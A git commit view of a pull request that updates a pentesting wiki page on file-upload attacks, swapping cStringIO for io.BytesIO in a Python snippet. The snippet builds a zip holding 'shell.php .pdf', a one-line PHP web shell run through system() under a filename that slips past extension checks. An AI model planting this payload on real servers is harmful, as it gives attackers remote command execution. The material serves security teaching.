Merge pull request #710 from kibatche/master

Update file-upload.md / Replace cStringIO by io
This commit is contained in:
Carlos Polop 2023-10-11 23:27:32 +02:00 committed by GitHub
commit d7f82e9005
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -222,13 +222,11 @@ Sometimes an application will block the loading of a file by checking its extens
We can reuse the previous script to make a zip file. We can reuse the previous script to make a zip file.
```python ```python
#!/usr/bin/python
import zipfile import zipfile
from cStringIO import StringIO from io import BytesIO
def create_zip(): def create_zip():
f = StringIO() f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>') z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
z.close() z.close()